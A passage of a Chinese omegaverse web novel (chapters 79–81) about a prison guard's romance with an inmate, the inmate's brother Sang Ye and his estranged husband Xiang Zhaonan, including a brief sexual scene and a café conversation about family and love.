S市市监都是人精,给桑守安安排的四人宿舍只有他一个囚犯入住。 虽然床、桌椅和卫浴的配置都与其他的一般无二,但至少没有让他和其他的地痞流氓混在一起住,也没有让某些想走歪路子的人轻易靠近他。 桑守安从浴室出来,只在腰间围了一条白色浴巾,精瘦双臂抬起,擦拭着寸头上残留的水分。 本意是想着宿舍里只有他一个人,没必要在意那么多。 结果一走出来,就看见楚方明。 面面相觑。 自从进了监狱,桑守安的人生出现了太多的第一次。 包括第一次被人撞见几乎赤裸的身体。 好在刚经历了一脚踩进肥料坑里的尴尬事件,现在勉强能稳住神情,收回手,用毛巾擦了擦胸肌上的水珠。 楚方明就这么直直看着。 “看入迷了?”桑守安把毛巾丢到桌上,看见上面是那两本被他落在楚方明身上的手册,心中明了楚方明为什么进来。 楚方明闻言,耳根一热,“当谁没有?” 似乎是证明自己没有说假话,他微微皱眉,仔细数来:“胸肌,六块腹肌,我都有,谁要看你的。” “是吗,真厉害。”桑守安回头,浅笑道。 楚方明推门跑了。 后来桑守安在食堂吃饭的时候,听见有囚犯谈天说地,终于谈到了楚方明。 只是和桑守安预期中关于楚方明个人信息的谈论不太符合的是,他们的聊天对象里,还有桑守安。 桑守安听来,大意是,新进来的那个囚犯怎么总是和楚警官眉来眼去,上下楼梯碰到两个人都要对视一眼,跟演偶像剧一样。 另外的人附和说,新进来的囚犯长得好,一看就是个卖肉的Alpha小白脸。又有第三人否认,说他进来之前就知道那个桑守安,老有钱了,肯定是贿赂了楚警官。 总之桑守安就是个坏的。 桑守安沉默地听着,心想他们说得对,他得坐实了。 只不过坐实之前,又和人打了起来。 同样的禁闭室,同样的配置,只少了个医生。 楚方明亲自上阵,给桑守安上药。 医生在和桑守安打架的李伟房间里。 李伟肋骨被桑守安踹断了,医生过去做紧急包扎处理,等救护车来。 于是桑守安这边,就只有楚方明这一个狱警看着。 楚方明作为狱警,对挑事的人有天然的敌意,尽管这段时间的相处让他对桑守安的确有了些异样的想法。 但不管什么想法,都不能妨碍他的工作。 他拿着棉签的手狠狠用力,几乎要把药水按进桑守安额角的伤口里。 “你进来第一天,我就跟你讲过,勿生事端。” “才进来半年,就把监狱里的两个‘大哥’都打了个遍,找死吗你。” 说完,他把棉签丢进垃圾桶,力道之大,差点用棉签把垃圾袋刺破了。 桑守安挑眉,这么生气。 “下次一定。” 楚方明:“这次又为什么打起来?” “这次你没在监控室听见吗?” 楚方明掐了他的大腿一把,“我在开会。” 桑守安被掐得生疼,却没有像之前那样做出受伤的神情,反而神色有些阴郁。 “我知道。” “李伟也知道。” 楚方明不解,怎么就提到李伟了。 “正是知道你在开会,李伟才敢说那些下流话。” 楚方明蹙眉,隐约知道桑守安说的是什么意思。 他作为整个Alpha监狱系统里为数不多的Omega,时常被那些囚犯用垂涎的眼神扫视,只不过碍于他每次动手都毫不留情,处理起人来雷厉风行的作风,没谁敢当着他的面说些有颜色的内容。 但私底下,肯定不少。 之前在家的时候,家里人就提过要他去S市另一所Omega监狱。 但楚方明拒绝了。 “我的性格你们清楚,要是去了Omega狱所,到时候他们惹了事,我是动手还是不动手?” 看来是时候杀鸡儆猴了。 楚方明:“他怎么说的,在哪里,有没有监控。” 桑守安没想到楚方明居然还想听具体的,有些吃惊。 脑子里把李伟说的下流话转了一圈后,竟有些体热。 他眼神变得晦暗,大脑里随着话语呈现出画面。 桑守安往前挺身,贴近楚方明耳根,低声道: “他说,楚警官腰细腿长,双臀又圆润又挺翘,制服裤都要包裹不住了,干起来肯定很带感。” 楚方明蓦地抬眸,盯着桑守安。 这话并非李伟原话,是桑守安加工过后的。原话更加粗鲁低俗,连桑守安都难以启齿,更别提让楚方明听见。 桑守安回身,抬起双手做出投降状:“他说的,我复述,不能算我的错吧?” “在楼道口,没有监控。”似乎有些无奈。 楚方明先是咬牙,脸上神情愤愤,心中把怎么处置李伟都过了个遍,稍稍泄了下愤。 突然眸光一闪。 他对上桑守安的双目。 勾着桑守安的下颌,将人带到自己面前,微微眯了眯眼,“那你……” “想不想试试?” 声音绵延悠长,仿佛一味清茶,余韵久久不消。 监狱是克制的符号,是压抑的渊薮,监狱内的他们却放纵、肆意乃至浪荡。 禁闭室里当然什么都没有,唯一能用的只有沐浴露,体验感实在不算好。 起泡就算了,沐浴露还是依兰花香型的,馥郁芬芳。 因为怕被其他人闻到信息素,他们两个都克制着信息素的释放,结果二人苦橙枝和莓果信息素的味道差点被沐浴露盖了过去。 桑守安不得不松开了信息素闸门,让苦橙枝的气息包裹着二人。 他含着楚方明的耳垂,大手在对方平坦的腹部划过,调侃:“胸有了,六块腹肌呢?” 被楚方明肘击到腹部,差点射了。 门外有脚步声,楚方明抿着唇,不动声色夹紧了,又让桑守安这个大龄处男闷哼一声,差点没把持住。 事后,楚方明从余韵中抽离,握电棍的手在制服上随意地翻动,一颗扣子一颗扣子地穿上衣服。 面色不虞。 桑守安问他:“难受了?” 要是楚方明说难受,他下次就收着点力。 结果楚方明说:“像在搞3p。” 桑守安一时说不出话来。 半晌才回复:“下次会准备齐全的。” 这次不仅没有润滑油,还没有套,他不得不在紧要关头提前抽出来,免得楚方明吃药。 “指望你?算了。”楚方明穿好衣服,桑守安打开窗户通风。 楚方明就要出门,被桑守安揽住腰。 “你现在就走,岂不是显得我很没用。” 哪有刚做完Omega就这么直愣愣走了的。 楚方明睨了他一眼。 桑守安只好又说:“你现在身上都是我的味道,出去可能会被闻出来。” 楚方明才嗯了一声,留下来和桑守安在床头坐了一会。 意外就是这时候发生的。 有人敲门。 “桑先生,你的信。” 楚方明霎时回头,看着桑守安。 监狱里的信件递送都有人专门管理,在S市市监,这个活就是楚方明在负责。 领导说他心细,比那些大剌剌的Alpha更容易检查出信里的问题。 但他怎么也没想到,居然有外来的信,没到他手上,直接到了囚犯手中。 尽管二人才温存过,楚方明说变脸就变脸,起身压得桑守安无法动弹,右手掐着他的脖子,动作迅速,一气呵成,身姿敏捷。 “说,怎么回事。” 第79章 桑守安叹息一声, “我去把信拿来给你看,成吗?” 楚方明眼神从他上身扫过,好一会才抬腿放桑守安出去。 门只开了一条缝, 外面那人伸了只手进来, 桑守安接过信, 把门重新关上。 自己都没看, 直接递给楚方明。 楚方明担心外面的人会进来,已经从床上下来, 见桑守安没让人进禁闭室, 又坐回床上。 是个淡粉色云朵图样的信封,在桑守安手上处处透露着格格不入。 接过信封, 楚方明小心拆开, 里面是一张被写得满满当当的信纸。 大致意思是家里养的狗特别调皮,钻到娃娃机里面去假装娃娃害他找不到, M国的食材和国内差异很大, 有些心心念念的菜用M国的食材做出来味道一点也不正宗……到信件末尾,才提到了一点正事,说是林肯要投资拍卖行, 他还在纠结要不要接受。 落款是:弟弟,桑也。 粗略看来, 没什么见不得人的信息。 为什么要偷偷摸摸地寄信? 楚方明把信纸叠好, 塞进信封, 还给桑守安。 桑守安指尖擦过信封, 似乎看出了楚方明的疑惑, 主动开口:“之前我跟你说我有个弟弟,以前也是Omega。” 楚方明抬眸,以前? “他有信息素依赖症, 你可能没听过,简而言之就是极其依赖百分百契合度的Alpha。” “这怎么可能……” “是,我们最初也认为不可能有百分百契合度,准备好了人工手术,结果他出现了。” “但是……”桑守安的目光落在遮挡光芒的蓝色窗帘上,“那个Alpha对他并不好。” “三年,一直过了三年,我才知道。太晚了,我弟弟永远地失去了他的腺体。他经受了那么多的折磨那么多的痛苦,我以为该他幸福了,可事实却让我失望。” 楚方明脑海里不停回响失去腺体这四个字,不自觉反手摸了摸自己后颈上刚才被桑守安不断用犬齿碾磨的腺体。 是什么样的疼痛,让写信的人做出剜去腺体这样惊世骇俗、闻所未闻的选择。 同为Omega,楚方明心抽了一下。 “他现在一个人在M国?” “嗯。之前想让他带着家里常用的阿姨过去,但他说阿姨家人都在国内,不想让别人分居两地,就独自一人出去了。” 桑守安脸上早已没了床上时的暧昧,只剩下灰暗的颜色。 “我怕他在国外,不好过,所以让他每周写信,我每周回信,这样他会觉得我还在他身边。” “他从来没有一个人过。” “好吧,勉强接受这个理由。我也不在乎你是借着谁的力把信送进来的,就一个要求,以后的信必须和其他人一样,先送到我手里审查,我再转交给你。” 桑守安摊手,“没问题。” 他答应得爽快,楚方明还有些意外。 “他离不开人,你为什么要把他送出国?” 桑守安定定看了他一眼,才说:“陈国安跟陈家强下手栽赃,把我送了进来,我也没喊冤,将计就计进来暂时避避风头。但耶耶在外面,陈家手段脏,他留在C国不安全。去M国可能会孤单些,但至少陈家父子的手伸不过去,不容易出事。” 楚方明若有所思地点点头,突然抬眸,“你是被栽赃的?” 桑守安:“……” 楚方明解释:“你知道的,我们这些人身边多的是手脚不干净进来的,我以为你也是。” 这时桑守安还以为楚方明所说的“我们这些人”指的是狱警身份,后来才知晓他指的是哪个群体。 似乎是安慰他被误解,楚方明拍了拍他的肩膀,没再继续这个话题: “你跟你弟弟还挺像的。” “为什么这样说?” “都挺能忍。” 桑守安微微皱眉。 “你刚进监狱那一天,叫住我,我就知道——”楚方明从坐着的桑守安身后探手,按了按他的胸口,又微微俯身,往下游走,贴着他的耳,“你这里打的什么主意。” “只是没想到你居然这么能忍。要不是我今天开了口,你打算忍到什么时候?” 桑守安眼神暗下来,捉住在他身上不安分的手,“早就知道……” “钓我?” 楚方明笑着抽出手,“那你就冤枉我了。” 他坐回床上,廉价的铁架床嘎吱叫了两声,伴随着他漫不经心的话语。 “之前没看上你。” 后来相召南来探监,带来了一个元文件,只是可惜里面的内容都被销毁。 桑守安拿到手后,又被楚方明接手过去。 “监狱里有几个会计算机的,非法入侵别人网站被抓进来,我找他们试试。” “喔,原来是这样才找回监控视频的。”凌星感慨,还挺幸运。 桑也的反应则沉稳许多。 “也没给人家送个礼道声谢。名字叫什么,家里还有人吗,我过段时间买点礼品去探望探望。” 却见桑守安摇头。 “什么意思?” “没成功,那几个顶多是自学了点皮毛就忍不住上政网耀武扬威被抓了,被楚方明压着研究了两三周也没弄出个名堂来。” 桑也讶异,“那……” 桑守安突然又沉默了。 他不知道该不该告诉桑也。 之前隐瞒了这么久,现在是继续隐瞒,还是干脆告诉他? 如果告诉他,是会给他再次造成伤害,还是风平浪静无事发生? 他兀地有些坐立不安,仿佛回到了他大学时第一次进公司开会。 “哥,你有事瞒我。”桑也正了正神色。 瞒不住的。 其实他一开始就不该隐瞒。 尽管他的初衷也只是不想耶耶和相召南再有过多交际。 桑守安望进桑也的棕眸,仿佛看见了一池轻浅的水,柔和而有力,叹息:“后来那个元文件被相召南带走,两个多月后探监时才还给我。还给我时里面的视频已经被修复了。” “不知道他是找了人,还是自己研究的,我没问。” 桑也垂眸。 大概率是相召南自己弄的。 很早之前查过相召南的过往,知道他最开始学的是计算机,成绩优异,在C国最好的大学名列前茅。 他有这样的本事。 但桑也没回应,只“哦”了一声,仿佛不太关心。 桑守安仔细观察着桑也的神情,确认他没有太大的情绪波动,才小心地把这个话题揭过。 “听完了?听完了就来讲讲你们打算怎么帮我吧。” 桑守安抬腿交叠放置,双手交叉放在桌上,手指微曲。 目光在桌前二人心虚的对视中穿过。 “不是你们说要帮我想办法?” 凌星:“呃,桑大哥我知道你很急,但你先别急。” “我不急。”桑守安淡定微笑。 他本来也没打算要桑也和凌星帮他出什么主意,只不过为了岔开相召南的话题,不得已把自己架在火上烤。 “哈哈。”凌星尬笑,撞了撞桑也。 桑也移目,“好像下个月初有个年中汇报,我去催催他们的进度。”他悄悄转动脚踝,想要溜走。 “耶耶。” 被桑守安叫住。 “那个汇报就不用你去了。” 汇报,给投资方相氏做汇报。 桑也睫毛颤了下,他知道大哥为什么这样说。 却笑着回复:“没事,哥,我总不可能一辈子躲在壳子里。” “他是什么凶神恶煞的魔鬼吗?就算是,我又没做什么错事,怕他做什么。” “一直躲着,怎么能脱敏呢?” 二人长长的相望,让书房里的氛围变得格外煎熬。 桑守安是拗不过桑也的,一向如此。 只能松口点头。 插不进话的凌星茫然挠了挠头,“啥啊?” “你们又打哑谜。” “不会是跟相召南有关吧?”走出了书房,凌星还一路追着桑也问,根据刚才零散的信息,模模糊糊推出了个猜想,“不对吧,他给新桑投资,还要你们去做汇报?” 桑也顿步,站在楼梯上,歪了歪头,“为什么不用?” 就是要汇报,才能撇清他们的关系,显得他们清清白白。 和其他被相氏投资的公司别无差异。 …… 六月初的时候,S市的天气依稀有升温的趋势,连着几天二十五度,但尚未正式入夏。 太阳当头,风也和煦。 桑也领着市场部和数据部的四个员工到了相氏大楼。 跟前台说了来处,就被直接带上了楼。 相氏有专门的两层楼用作会议室,桑也被带到二十一楼。 会议室的隔墙全是透明玻璃,房间不小,反倒显得他身后这几个人有些势单力薄。 但又不是打仗,要那些无用的气势做什么。 只要他们能有条不紊把这半年来的实验进展、市场调研结果和发展前景都讲清楚明白,让相氏看见他们值得被投资的潜力就行了。 负责汇报的人把PPT导了进去,没一会就有相氏的人进来,入座。 桑也坐在长桌的第一位,和相氏的宋经理相对。 他一如既往地穿着丝质衬衫,白色的布料顺滑柔畅,举手投足牵动之下,隐约泛着光。 领口解开一颗扣子,露出深深的锁骨窝,蓄着阴影。 等相氏最后一个人进来,关上门,宋经理开口:“开始汇报吧。” 新桑这边的人便开始翻动PPT。 相召南没来。 桑也好像有些安心,又有些意外。 看来他上次说的话是真的。 汇报没有出什么差错,结束后宋经理只点评了几句,表示没什么问题,可以回去了。 桑也和他说了几句客套话,便带着人离开。 出会议室没走两步,余光瞥见一个早就有人在使用的会议室在晚来的新桑汇报结束后,仍然站了一堆人。 在那人堆中间坐轮椅的,是相召南。 他高高抬起一份文件,砸在桌上,神色镇定,薄唇翕动,说着什么。 看周围人畏畏缩缩跟个鹌鹑似的神色,估计是被挑了毛病。 只是奇怪,先前桑也他们进来路过时,相召南并不在。 临时进去听人汇报? 大概是。 但这跟他都没什么关系。 桑也告诉自己。 只短暂地停顿了一瞬,便没再去看。 等桑也的身影消失在二十一楼的走廊后,相召南身后的陈晦弯腰在相召南耳边说了句什么。 相召南收回鹰视般摄人的目光,“最后再给你们一次机会,明天要是还这样漏洞百出,还拿不出一份有说服力的报告,合作也没必要继续了。” “等着相氏掏钱的公司多的是。” 他收回目光,带着陈助径直出了会议室,没搭理身后那家公司经理的谄媚。 陈晦说完桑也离开的事后,相召南果然推着轮椅出了会议室,这和他的预期一样。 紧接着,他以为相召南会追上去,然而,相召南在专用电梯前站了半天后。 按了向上的按键。 这有些出乎陈晦的意料。 他略带惊讶地问:“相总……不追过去吗?” 第80章 相召南欲言又止。 为什么在他戒断这么久后, 又突然出现在他面前…… 桑也。 就不怕他言而无信吗? 铅灰色的电梯门被清洁工擦拭得锃亮反光,宛如魔镜,倒映还原了相召南复杂的神色和挣扎的心绪。 最后还是没有松口, 进电梯, 回了自己的办公室。 办公室常年没有改变的格局在相召南出院后迎来了一次大变革。 用黑白灰三色和大理石质感营造出简约冷静氛围的办公室, 为了给相召南留出足够的复健运动空间, 将本就不多的装饰,比如空无一物的白色花瓶, 悉数撤去了。 这尚在陈晦理解的范畴内。 另一个改变, 就让陈晦大跌眼镜了。 相召南的办公室书架上放置了不少书籍,涉及到金融、投资、科技和哲学各个领域, 但以前从未出现《星座的故事:起源于神话》《十二星座性格分析》, 而现在,它们取代《存在与虚无》《真理与方法》占据了书架最显眼的位置。 虽然先前的一些哲学书同样是陈晦难以理解的存在, 但至少它给人一种和总裁气质相匹配的契合感。 而星座? 像情窦初开的高中生大学生会钻研、拜读和奉为圭臬的玩物。 任谁也想不到它们能和相召南扯上关系。 不知道相召南心里怎么想的, 明明今天已经复健过了,回到办公室后却再次做了起复健练习,陈晦捉摸不透, 提醒他。 相召南却只嗯了一声。 陈晦便出去,回到自己的工位工作。 相召南复健时不喜欢别人打扰他。 因为是顶尖的Alpha, 身体恢复能力比常人强些, 加上相召南自身强健的意志力, 经过两三个月的复健, 他基本可以靠着拐杖行走。 医生说, 如果没有那个雨天在山林里损耗双腿,他的复健进度会更快。 但在足以自由行走之前,相召南出现在人前时的形象大多坐着轮椅。 他的骄傲不允许在外人面前展示自己的狼狈。 办公室休息间的浴室是改造过的, 相召南复健完,洗了个冷水澡,才给陈晦打了内线电话,“让司机在楼下等着,去普渡寺。” 普渡寺不是S市周边唯一的寺庙,也不是S市地理位置最好、香火最旺盛的寺庙。 临近市中心的光济寺,东南郊区的水安庙,都比普渡寺更有名气。 但它是相召南精挑细选的寺庙。 因为名字。 只有普渡,才能大赦天下般将相召南这样恶劣的人囊括在内。 起初普渡寺并无电梯,相召南捐赠了两千五百万之后,普渡寺的住持大手一挥,格外贴心地加装了电梯,再也不说什么破坏山林自然环境之类的推脱话。 从电梯上山,不过两三分钟。 寺庙大门口,原本掉漆的掉漆,落灰的落灰,经过一番大气的修缮,重新变得宏伟雄壮。 高高的匾额,金色的碑文,腾云驾雾的仙佛,象征吉祥如意的宝瓶、莲花和祥云,到大殿内矗立的金色佛像,都焕发出庄严肃穆的光辉。 佛身也需黄金镀。相召南不在意砸进去多少钱,只要普渡寺能像他满足住持的需求一样实现他的愿望,再多钱也物有所值。 可是佛祖似乎听不见他的祈求。 大殿内,住持屏退了诵经的沙弥,陈晦和司机在殿外等候。 相召南跪在软垫上,上身挺拔,双手合十,纹丝不动。 他口中念念有词,神色庄重。 殿外的阳光穿过彩色玻璃拼花窗,折射出万花筒般的颜色,正好投在金色佛像身上,看起来光辉灿烂。 而跪在佛像之前的相召南,则被阴影笼罩着,阴冷,潮湿。 长久的祈祷后,那张棱角分明、剑眉星目的俊朗面容上,缓缓流淌出一丝悲戚。 他睁开眼,浓墨的双目仿佛化不开的雾,写满了哀与伤。 为什么他日日夜夜祈求、祷告,仍旧没能在梦里见到桑也。 没能梦见那个还会对着他笑的人。 离开寺庙时,住持亲自来送他,照旧递给相召南一个祈福袋。 谈话时说到寺庙重新修缮过后,游客多了许多,但寺庙里物件,比如香炉,比如坐垫,消耗也随之增多了。 相召南让陈晦取了张支票,填了五百万,交给住持。 住持喜笑颜开,直呼相总仁慈,定能心想事成。 返程的车上,陈晦坐在副驾驶位。 后座的位置更宽广,更适合腿脚不便的相召南,他坐在后座,打开车内灯光,看起了书。 星座分析的本质无非是见人说人话,见鬼说鬼话,从前相召南完全不把它当回事。 直到前不久,他听见公司员工咒骂处女座的同事太过挑剔,吹毛求疵,才仿佛捉住了救命稻草般,开始钻研星座。 书上说,狮子座大胆热情,自信积极,擅长交际,浪漫迷人,这与桑也的性格特质一般无二。 看起来的确有一丝可信度。 而天蝎座深沉内敛,冲动易怒,多疑善变,阴沉冷漠…… 相召南的脸色沉了下来。 编书的人难道没学过辩证法,没人教过他要全面的看待事物吗? 怎么可能一个星座全是缺点,毫无优点? 托着书的手稍微动了动,相召南抬头,看向前方的陈晦和司机,似乎有话想问。 但最后又暗自收回目光,似乎从静寂中得到了答案。 他的确没有优点。 相召南又看,看书里分析两个星座之间的般配度。 “这是一对充满激情与理智碰撞火花的组合……大相径庭的思维方式让他们在爱情的深度与长久度上会面临许多挑战……总的来说,狮子座与天蝎座配对的可能性并不高。” 相召南脸色更糟糕了。 愤愤地把书塞回储物箱。 他脑子里不断浮现住持所说的“一定能心想事成”和书上文字“可能性并不高”,暗道星座是这几百年才从西方传来的玄术,不适应本国的水土,还是佛教更可信些。 …… 一直到九月份,楚方明休假,桑也才得到机会和他正式见一面。 见面的地点在一家咖啡馆,楚方明要了一杯美式,而桑也则点了一杯拿铁。 “桑守安说你一直想和我聊聊,可惜我监狱里排班没空,现在才有机会。”楚方明穿着简洁干练,一身黑色尼龙紧身服,像极了野兽驯服师。 他从桌面推过去一只礼品袋,“之前你生日,没给你送礼,现在补上。” 桑也粗粗看了一眼,是个奢侈品牌子,向楚方明道了谢。 “破费了,之前你帮我联系派出所出警的事,我还没来得及正式感谢你。” “没什么。你想见我,是有什么事吗?” 楚方明似乎是个直白性子。 桑也心想。 而且,要是能解开他二人之间的矛盾,那楚方明迟早跟他是一家人,没必要客气那么多;要是解不开,二人最后形如陌路,那桑也和楚方明也就不会有更多的交际,同样不用在意现在这点礼数。 从这两个角度出发,桑也似乎没有再兜圈子的必要了,便没说那些无用的客套话,直接进入主题: “我还在国外的时候,总是从大哥写的信里看他提起你,后来我想,你们之间或许不是普通狱警与囚犯的关系,但我回国后,你们又不像我想的那么融洽。” “我听过我大哥说的原因了,现在我能听听你的看法吗?” 楚方明早有预料桑也来做说客。 但他并不厌恶,解决问题,同样是他所期待的。 “你现在应该知道,桑守安早在两三年前就拿到了关键证据,可以早早出狱的事情了吧?” 桑也小啜了一口拿铁,点头。 “可我也不比你早多久知道。” 楚方明雪白的颈没有低下丝毫,但笑容有些勉强,垂眸看着杯中的黑褐色咖啡。 “他和我同床共枕,却瞒了我一年多。” 桑也默然。 良久,他说:“大哥说是因为我要和相召南分居三年才拿得到离婚证。” “可那时你根本没有回国的想法,我看过你们之间来往的信件,每一封。应该是……去年接近年中的时候,你在国外和那位林肯发生了矛盾,才有了回国的想法,我没记错吧?” 桑也没想到楚方明竟然看过他和大哥的通信,又恍然大悟难怪大哥的说辞不起作用。 一时不知道说什么好。 楚方明见他微微张嘴,似乎很惊讶,“别误会,我看你们的信件是工作需要。” 又说:“你很可爱,你的狗也很可爱。” “……谢谢。”桑也又喝了一口拿铁,压惊。 片刻后,打破沉默,“我猜,大哥不肯提前出狱,可能是想和你多待一会?你工作不方便外出,他出狱后很难和你见面,有这个原因吧?” “我知道。”楚方明神色淡定,似乎并不多桑也的这个推测感到意外,或者有什么情绪上的波动。 “那你应该也知道我哥其实很爱你吧?” 桑也小心翼翼试探。 “我也知道。” 楚方明回答得痛快,毫无迟疑。 “你对我哥欺瞒你感到生气,是这样吗?” “是——但他已经跟我道过歉,我也原谅了他。” “那你爱他吗?” “当然。我得知真相的第一反应,不是他竟然骗我,而是心疼,心疼他为了我留在监狱多过了那么久的苦日子。监狱里的饭菜可不比你们平时吃的珍馐佳肴。” 桑也张了张嘴,有些迷茫,“你说的是心疼?” 可他问的是爱。 只见对面的楚方明嘴角噙着笑,“对,心疼。” “我要是不爱他,根本不会在意他过得难不难受。心疼和爱本就界限模糊。” 心疼和爱……界限模糊? 似乎有什么在脑海里炸开,但太细碎了,像沙滩里的贝壳,又像夜空中的繁星,他捉不住。 只能回到最原本的问题。 “既然你们相互爱着,为什么又要相互疏远呢?” 桑也本以为找到了问题的根源,结果一串对话下来,反而更加摸不着头脑了。 好看的眉头蹙起,棕色的双眸像天真无邪的孩童不理解为什么一加一等于二一样迷惑。 楚方明喝了一口冰美式,放下咖啡杯,“我在意的不是他骗我,而是他不把我的爱当回事。” “他爱我,就打着爱的旗号不把我的心疼当回事。向我道歉,也只是为欺骗而道歉,他根本没有意识到我真正介意的是什么。” “我一提到那件事,他就以爱的名义敷衍我,本质就是否认我对他的感情,不是吗?他以为他是谁?他的爱难道要高尚一些吗?我的爱就不值一提吗?” “我根本不需要他为我付出些什么。” 楚方明一番话,如同断线的珍珠颗颗坠入玉盘,连贯顺畅,又清泠悦耳。 在桑也的耳畔盘桓许久。 桑守安做出在监狱里滞留一年半时长这件事,在桑也心中并不意外,他甚至觉得,习以为常。 习以为常什么? 又是一阵静默。 桑也有些不自信地开口:“楚哥……” “我想,我应该知道答案。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-85 第81章 楚方明挑了一下眉, “怎么说?” 桑也两手捧着咖啡杯,“我哥他……似乎习惯了照顾人的角色。” “从我出生起,他就被要求当好哥哥, 照顾好弟弟, 所以他不仅要关注我的日常起居, 关注我的学习, 关注我有没有受欺负,还早早进了公司, 承担起大哥的责任。” 桑守安对他的照顾细致到了什么地步呢? 桑也在莱恩公学念初中的时候, 有一家暴发户的儿子转学过来,凭着油嘴滑舌的性格, 很快和桑也打好了表面关系, 然后借着桑也的名号在学校狐假虎威,导致桑也莫名其妙受到排挤。 在桑也这个迟钝的小刺猬反应过来之前, 桑守安就亲自到学校和校长谈了话, 把事情解决了。 但桑守安从不邀功,要不是后来某一天凌星说起这件事,桑也都还迟迟不知道。 “他从来不和我说这些, 但我心里都清楚。我时常把谢谢挂在嘴边,但其实并没有真的帮大哥减轻负担, 反而给他添麻烦。大哥也不说话, 只默默承担。” “如果当下他为我做了什么事情, 我说谢谢, 哥你真好, 他会笑着接受。” “但如果我要一本正经地追溯往昔,大哥就会立刻岔开话题。” 手上的咖啡杯似乎蓄满了无端而来的水,沉甸甸的, 压得桑也手微微颤抖。 “其实他也很累,”桑也低垂下眉眼,似乎陷入了自责当中,“只不过习惯了付出。” 楚方明一言不发,凝视着对面的黑发青年,鸦青的睫羽轻轻颤,像蝴蝶翅膀扑朔,白得近乎透明的肤色让人很难不心生保护欲。 桑也意识到自己所说的话有些脱离初衷,有些破坏氛围了,勉强地挤出一个笑容,“有时候我总想,明天一定会更好,因为有大哥在,我就什么都不用担心。” “所以——” 桑也想说,所以,大哥不是否认楚方明的爱意,只是习惯了如此。 却不料楚方明打断他的话。 “所以你受伤了。” 桑也愕然抬眸,琥珀般双眸写满了讶异。 “……什么?” “因为桑守安的做法根本就不对。”楚方明从桑也的话中抽丝剥茧,窥见了那看似和谐美好的相处模式下涌动的暗流和四伏的危机。 “他把你当菟丝子照料,完全没有培养你的独立能力,帮你解决了所有麻烦,让你对万事万物都抱有期待,却又缺乏处理问题的能力和经验,于是悲剧酿成了。” “在那之前,你没有过努力了许久最后还是一无所获的经历吧?桑也,你对所有事物的容忍度太高了,以至于再糟糕的东西你都能抱有期望,不放弃。” 从M国寄回来的一封信里写着,桑也处理好心叶美妆的事情后,转而投入了另一家策展小公司的经营当中。 那家公司已经跟不上时代的节奏了,即使桑也用最年轻的目光予以改造,还是没能改变它的颓势。 于是桑也在信里写:“我不明白,为什么它回不来。” 不知道之后他又经历了多少次失败,才学会了放手。 桑也静静听着,恍惚间触碰到了一层似有似无的薄薄羽衣,那里面包裹着他不敢承认的真相,令他心生畏惧。 但楚方明并没有到此为止。 他继续说着,挑破了那层羽衣,将桑也看不透的漆黑推到他面前。 “或许这不是他一个人的问题,而是你整个家庭共同的缺陷。” 浓密的睫毛抖了一下,桑也嗓音喑哑:“是吗。” 从桑守安和桑也的名字就能看出来,父母对于大哥的期望是第一位的,而桑也的到来,其实是一场意外。 所以他们对桑也的要求,无非是过得开心,过得幸福,而桑也便也懂事地从不觊觎家里的资业,只当一个充门面的展示品。 他从来不觉得有任何问题。爸妈和兄长对他的爱又做不得假,更何况他的出生本质上平白给大哥增添了更多的压力和负担。 大哥爱护他,反过来,他自觉地不去和大哥争夺什么,还充分地体谅大哥,经营着一场和谐的兄弟关系。 这里面难道有人做错了什么吗? 桑也看不清楚。 “当然,你们的兄弟情谊的确令人感动,你的过去,做错事的人也绝非是你,但如果,我是说如果——你们家中一开始能够培养你果断抽身离开的勇气,认清不是所有的事物都值得期待,而不是抱着模模糊糊的期望留在一个不值得追随的人身边,或许你能逃过一劫。” “你被培养得太单纯,太美好了,你的世界里没有邪恶,你的内心丰盈而纯粹,坦白讲,如果我是Alpha,我肯定会爱上你。” “可惜,这种‘好’是利他的。” 桑也难以抑制地低声:“不……” 他的爸爸妈妈和兄长,对他的爱令世人惊羡,怎么会害了他呢? 可他似乎找不到理由来辩驳,因为他的确在这样的环境下,成长为了一个毫无头脑的Omega。 他的生活从来没有绊脚石,任何事物只要他想,就能得到,所以他从不被鼓励向上奋斗,在这样恬然的滑翔下,他只学会了享受。 当他遇到磕绊时,自然就无措了。 直到—— 桑也胸口仿佛被无形的空气挤压,让他呼吸困难。 直到悲剧降临。 他被迫站起来,成为第二个桑守安。 “怎么会这样……” 桑也长长地吐息,绵长的呼吸像飘零的落叶,轻绵而无归处。 楚方明神色有些不忍。 真相对于桑也而言,的确太过残忍。 “这个世界对Omega就是这样残酷。很高兴在事发之后,能看见你的蜕变,也不算太迟?” 桑也眼前有些模糊,但还是浅笑着回答:“是啊,我现在不是菟丝子了,还算幸运对吗?” 楚方明伸出手,轻轻刮过桑也眼下肌肤,拭去一滴晶莹。 他放柔了声音:“这件事情里没有人犯错,是社会的规训让他们看不见Omega的需要。希望我的话不会破坏到你和桑守安的关系。” 桑也摇头,“不会的。” 他似乎真的看开了,似乎完全没有被楚方明的话影响到,灿烂地笑着:“我会好好跟大哥转述你的想法,等我好消息。” 说着,他做了个wink,随后逃也似的离开了咖啡馆。 桑也独自回到海风府。 院子里阿姨正在修建枝桠,桑也问:“大哥在家吗?” 阿姨停下嘎吱剪的动作,回头看他。 “先生早上出门,一直没回来。” 桑也浑浑噩噩地点头,“哦哦,好。” 他迈开步子,朝独栋内走去。 然而没走两步,就听见有人叫他。 “桑先生!” 是陈晦,不知道怎么找到了这里来。 桑也皱眉。 他记得昨天回家时,也在海风府外的道路上看见了相召南的车牌号。 今天又被他的助理找上门来。 “有事吗。”桑也语气平淡。 陈晦咽了咽口水,“是这样的,相总前两天易感期到了,但他……坚持不肯使用抑制剂。虽然之前腺体受伤,导致抑制剂效果减弱,但总比不用有效吧?我怎么劝也不顶用。今天,相总直接把自己所在了家里,平时也就算了,偏偏今天有两份重要文件需要签字,我没办法只能来麻烦您了。” 相召南对底下的人极度不信任,但凡是重要文件,一定要他最后过目审批,而非签字这么简单。 “你去找个老小区。” 陈晦愣了下,“啊?” 桑也抿唇,“进一栋楼,楼梯上印着的开锁电话,你随便挑一个打。” 陈晦先是被这个冷笑话逗笑了,忍俊不禁。 “咳咳,”旋即觉得有些对不起自己特助这个职业,正了正神色,“桑先生,我也很想直接叫开锁师傅,但是相总这个身份,又处于易感期期间,再加上——” 桑也看着他。 “再加上相总把自己锁在您先前那套别墅,我实在不好直接叫人撬锁。” …… “桑先生,我就先不进去了。”陈晦站在别墅门口外面,朝桑也毕恭毕敬地半鞠躬。 这么浓烈的冰霜味信息素,他不便进入。 